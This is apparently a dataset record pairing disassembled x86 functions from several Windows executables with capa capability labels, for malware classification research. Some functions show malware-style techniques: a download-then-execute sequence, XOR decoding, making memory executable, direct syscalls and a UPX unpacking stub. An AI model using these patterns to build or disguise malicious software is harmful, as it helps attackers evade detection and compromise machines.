joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402a60
Capabilities:
Create process on windows
Delete file

Disassembly:
sub esp, 0x26c
push ebp
push esi
mov esi, ecx
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x71]
mov byte [esp + 0x70], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x1c]
mov ecx, esi
push eax
call fcn.00402ce0
mov eax, dword [eax + 4]
test eax, eax
jne 0x402a98
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea ecx, [esp + 0x74]
push 0x407164
push ecx
call ebp
mov eax, dword [esp + 0x2c]
add esp, 0xc
test eax, eax
je 0x402ad3
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x402aca
cmp al, 0xff
je 0x402aca
dec al
mov byte [ecx], al
jmp 0x402ad3
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov edi, dword [esp + 0x27c]
push edi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea edx, [esp + 0x70]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x70]
mov ecx, esi
push eax
push edi
call fcn.00402c00
test eax, eax
je 0x402bf0
lea ecx, [esp + 0x70]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
je 0x402bf0
xor edx, edx
mov ecx, 0x11
mov dword [esp + 0xc], edx
xor eax, eax
lea edi, [esp + 0x2c]
mov dword [esp + 0x10], edx
rep stosd dword es:[edi], eax
mov dword [esp + 0x14], edx
mov ecx, 0x40
lea edi, [esp + 0x175]
mov word [esp + 0x5c], ax
mov byte [esp + 0x174], dl
push 0x407160
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x74]
lea ecx, [esp + 0x178]
push eax
push str._s_s
push ecx
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 1
mov dword [esp + 0x28], edx
call ebp
add esp, 0x10
lea edx, [esp + 0xc]
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x174]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402bf0
mov eax, dword [esp + 0x280]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
mov eax, dword [esp + 0xc]
shl edx, 3
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call esi
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x26c
ret 8
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x26c
ret 8
Function at 0x402c00
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x40437b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x418
push ebx
push ebp
push esi
xor esi, esi
push edi
push esi
push esi
push str.udhk
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetTextCharsetInfo]
lea ecx, [esp + 0x14]
mov edi, 0xffffff9b
mov dword [esp + 0x10], esi
call fcn.00401000
mov ebx, dword [esp + 0x43c]
mov ebp, dword [esp + 0x438]
mov dword [esp + 0x430], esi
test edi, edi
je 0x402c89
push 1
push ebx
lea eax, [esp + 0x18]
push 0
push eax
push ebp
lea ecx, [esp + 0x28]
call fcn.00401060
push 0x1f4
mov edi, eax
inc esi
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, 4
jl 0x402c5e
pop edi
cmp esi, 4
pop esi
pop ebp
pop ebx
mov dword [esp + 0x420], 0xffffffff
lea ecx, [esp + 4]
jne 0x402cbf
call fcn.00401050
xor eax, eax
mov ecx, dword [esp + 0x418]
mov dword fs:[0], ecx
add esp, 0x424
ret 8
call fcn.00401050
mov ecx, dword [esp + 0x418]
mov eax, 1
mov dword fs:[0], ecx
add esp, 0x424
ret 8
Function at 0x402ce0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x40c
push ebx
push ebp
push esi
lea eax, [esp + 0x14]
push edi
xor esi, esi
push eax
push 0x3f5
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x18]
lea edx, [esp + 0x18]
push ecx
push esi
push 0x407170
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov ebp, dword [esp + 0x420]
mov al, byte [esp + 0x13]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
mov byte [ebp], al
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp + 4], esi
mov ebx, ecx
mov dword [ebp + 8], esi
cmp ebx, 0xfffffffd
mov dword [ebp + 0xc], esi
jbe 0x402d48
call dword [sym.imp.MSVCP60.dll_void___cdecl_std::_Xlen_void_]
mov ecx, dword [ebp + 4]
cmp ecx, esi
je 0x402d7b
mov al, byte [ecx - 1]
test al, al
je 0x402d7b
cmp al, 0xff
je 0x402d7b
cmp ebx, esi
jne 0x402dae
dec al
push esi
mov byte [ecx - 1], al
mov ecx, ebp
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x40c
ret 4
cmp ebx, esi
jne 0x402d98
push 1
mov ecx, ebp
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x40c
ret 4
mov eax, dword [ebp + 0xc]
cmp eax, 0x1f
ja 0x402da4
cmp eax, ebx
jae 0x402db7
push 1
mov ecx, ebp
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push ebx
mov ecx, ebp
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Copy_unsigned_int_]
mov edi, dword [ebp + 4]
mov ecx, ebx
mov edx, ecx
lea esi, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 4]
mov dword [ebp + 8], ebx
pop edi
pop esi
mov byte [eax + ebx], 0
mov eax, ebp
pop ebp
pop ebx
add esp, 0x40c
ret 4
Function at 0x403440
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 8]
push ebx
push ebp
xor ebp, ebp
push esi
push edi
test eax, eax
jle 0x4034a0
mov ebx, dword [esp + 0x14]
xor edi, edi
xor esi, esi
mov ecx, dword [ebx + 4]
test ecx, ecx
jne 0x403461
xor eax, eax
jmp 0x403469
mov eax, dword [ebx + 8]
sub eax, ecx
sar eax, 4
cmp edi, eax
jge 0x40348c
mov ecx, dword [esi + ecx + 4]
test ecx, ecx
jne 0x40347b
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4034a9
inc edi
add esi, 0x10
jmp 0x403456
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x18]
inc ebp
cmp ebp, eax
jl 0x403452
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 0xc
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret 0xc
Function at 0x403950
Capabilities:
Set registry value

Disassembly:
sub esp, 0x10c
push edi
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetTextCharsetInfo]
push 0
push 0x407054
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
lea eax, [esp + 4]
push eax
push str.SoftwareASD
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 8]
push ecx
stosb byte es:[edi], al
call sub.MFC42.DLL_CTime::GetTickCount
mov eax, dword [eax]
lea edx, [esp + 0xc]
push 0xa
push edx
push eax
call dword [sym.imp.MSVCRT.dll__ltoa]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
mov edx, dword [esp + 4]
dec ecx
push ecx
lea ecx, [esp + 0x10]
push ecx
push 1
push eax
push 0x4071b8
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
add esp, 0x10c
ret
Function at 0x401576
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x44
push edi
push 0x1c
lea eax, [ebp - 0x20]
mov dword [ebp - 4], edx
mov edi, ecx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x40159a
push 0x19
pop ecx
int 0x29
test byte [ebp - 0xc], 0x44
je 0x4015e4
push ebx
push esi
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ebx, dword [ebp - 0x40]
xor edx, edx
lea ecx, [ebx - 1]
mov eax, ecx
lea esi, [ebx - 1]
and ecx, dword [ebp - 4]
and eax, edi
add eax, ebx
dec ecx
add eax, ecx
not esi
div ebx
xor edx, edx
and esi, edi
mov ecx, eax
mov eax, dword [ebp - 4]
div ebx
add ecx, eax
je 0x4015e2
xor eax, eax
lock or dword [esi], eax
add esi, ebx
sub ecx, 1
jne 0x4015d6
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x401ac0
Capabilities:
Terminate process

Disassembly:
call fcn.00401f63
jmp 0x401aca
push 0x5c
push 0x402270
call fcn.00402018
xor ebx, ebx
mov dword [ebp - 0x24], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x403370
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x401b1c
cmp eax, esi
jne 0x401b0f
xor esi, esi
inc esi
mov edi, esi
jmp 0x401b1f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401af3
xor esi, esi
inc esi
cmp dword [0x403374], esi
jne 0x401b31
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x401b6b
cmp dword [0x403374], ebx
jne 0x401b65
mov dword [0x403374], esi
push 0x4010c0
push 0x4010b4
call fcn.00401c9f
pop ecx
pop ecx
test eax, eax
je 0x401b6b
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x401c99
mov dword [0x403014], esi
cmp dword [0x403374], esi
jne 0x401b8e
push 0x4010b0
push 0x4010a8
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x403374], 2
test edi, edi
jne 0x401b9b
xor eax, eax
mov ecx, 0x403370
xchg dword [ecx], eax
cmp dword [0x403378], 0
je 0x401bc7
push 0x403378
call fcn.00401e70
pop ecx
test eax, eax
je 0x401bc7
push ebx
push 2
push ebx
mov esi, dword [0x403378]
mov ecx, esi
call dword [0x4040b0]
call esi
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov edi, dword [ebp - 0x24]
mov cl, byte [esi]
cmp cl, 0x20
ja 0x401c25
test cl, cl
je 0x401bf4
test edi, edi
jne 0x401c25
test cl, cl
je 0x401bf4
cmp cl, 0x20
ja 0x401bf4
inc esi
mov dword [ebp - 0x20], esi
mov cl, byte [esi]
jmp 0x401be3
test byte [ebp - 0x40], 1
je 0x401c00
movzx eax, word [ebp - 0x3c]
jmp 0x401c03
push 0xa
pop eax
push eax
push esi
push ebx
push 0x400000
call main
mov dword [0x403010], eax
cmp dword [0x403028], 0
jne 0x401c7e
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp cl, 0x22
jne 0x401c36
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [ebp - 0x24], edi
movzx eax, cl
push eax
call dword [sym.imp.msvcrt.dll__ismbblead]
pop ecx
test eax, eax
je 0x401c49
inc esi
mov dword [ebp - 0x20], esi
inc esi
mov dword [ebp - 0x20], esi
jmp 0x401bd4
cmp dword [0x403014], 0
jne 0x401c92
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x403010]
mov dword [ebp - 4], 0xfffffffe
call fcn.00402060
ret

Function at 0x401d64
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x402290
call fcn.004021dc
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x401dc4
cmp eax, 0xffffffff
je 0x401dc4
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x401dbd
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x401dbd
cmp edx, 0x10000000
jae 0x401dbd
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x401dba
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.00402221
ret 4
Function at 0x401e20
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x401e5e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x401e56
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x401e60
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x401e46
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x401f30
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x401f46
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x401f61
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
Function at 0x4096e0
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409794
jmp 0x409789
cmp dword [esi + 0x10], 0x1000
jne 0x409775
test byte [esi + 0x15], 1
jne 0x409775
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409734
cmp eax, 2
je 0x409734
cmp eax, 0x10
je 0x409734
cmp eax, 0x20
jne 0x409749
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409749
mov bl, 1
xor ebp, ebp
jmp 0x40975a
mov eax, dword [esi]
add eax, ebp
call fcn.004096d8
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x40974d
test bl, bl
je 0x409775
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409794
mov eax, dword [esi + 4]
cmp eax, edi
je 0x40970c
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0xd68b81
Capabilities:
Encode data using xor

Disassembly:
push 0xd68886
mov edx, dword [esp]
add esp, 4
inc ecx
call fcn.00d68bb5
and ecx, ecx
sub esi, ecx
xor dword [ebx], edx
mov esi, 0xea8dadfd
and esi, esi
add ebx, 2
dec ecx
and ecx, esi
or esi, ecx
cmp ebx, edi
jl fcn.00d68b81
sub esi, ecx
ret
Function at 0x1918410
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6d9000]
push edi
or ebp, 0xffffffff
jmp 0x1918432
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1918439
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1918428
mov eax, 1
add ebx, ebx
jne 0x191844b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x191845c
jne 0x191847b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x191847b
dec eax
add ebx, ebx
jne 0x1918468
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1918440
add ebx, ebx
jne 0x1918477
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x19184cd
xor ecx, ecx
sub eax, 3
jb 0x1918493
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1918502
sar eax, 1
mov ebp, eax
jmp 0x191849e
add ebx, ebx
jne 0x191849e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x191846c
inc ecx
add ebx, ebx
jne 0x19184ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x191846c
add ebx, ebx
jne 0x19184b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x19184ae
jne 0x19184ca
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x19184ae
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x19184ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x19184de
jmp 0x191842e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x19184ec
add edi, ecx
jmp 0x191842e
pop esi
mov edi, esi
mov ecx, 0x291c2
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x191850a
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x191850f
lea edi, [esi + 0xa14000]
mov eax, dword [edi]
or eax, eax
je 0x1918577
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa9429c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa943c8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1918535
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa943cc]
or eax, eax
je 0x1918571
mov dword [ebx], eax
add ebx, 4
jmp 0x1918552
call dword [esi + 0xa943dc]
mov ebp, dword [esi + 0xa943d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x19185ab
sub esp, 0xffffff80
jmp 0x13d9c88
Function at 0xf42370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xf4238e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xf6b074
push ecx
mov edi, eax
call fcn.00f56198
mov esi, eax
add esp, 8
test esi, esi
jne 0xf423cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00f5602e
push esi
call fcn.00f55fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xf45850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xf458ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xf70720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xf458ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00f561e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xf458ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xf70720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xf4592a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00f57082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xf45957
mov word [eax], si
add eax, 2
push eax
call fcn.00f57030
add esp, 4
jmp 0xf45959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xf458ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xf458b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xf45ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xf46080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0xf460c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0xf6b458
push ecx
call fcn.00f561e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.00f561e1
add esp, 0x10
jmp 0xf460d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.00f5620b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.00f55dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00f46050
mov eax, dword [0xf70728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0xf4613b
push esi
call fcn.00f45fb0
add esp, 4
mov dword [0xf70728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0xf4614c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00f45ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0xf49440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0xf494b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xf4948e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xf49471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xf4947e
add edx, ecx
cmp ebx, edx
jb 0xf4948a
inc edi
add eax, 0x28
cmp edi, esi
jb 0xf49467
xor ecx, ecx
jmp 0xf494a2
test eax, eax
jne 0xf49492
xor ecx, ecx
jmp 0xf494a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.00f493c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0xf498f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0xf49921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0xf49946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0xf4996e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0xf49993
push ecx
push esi
call fcn.00f494c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret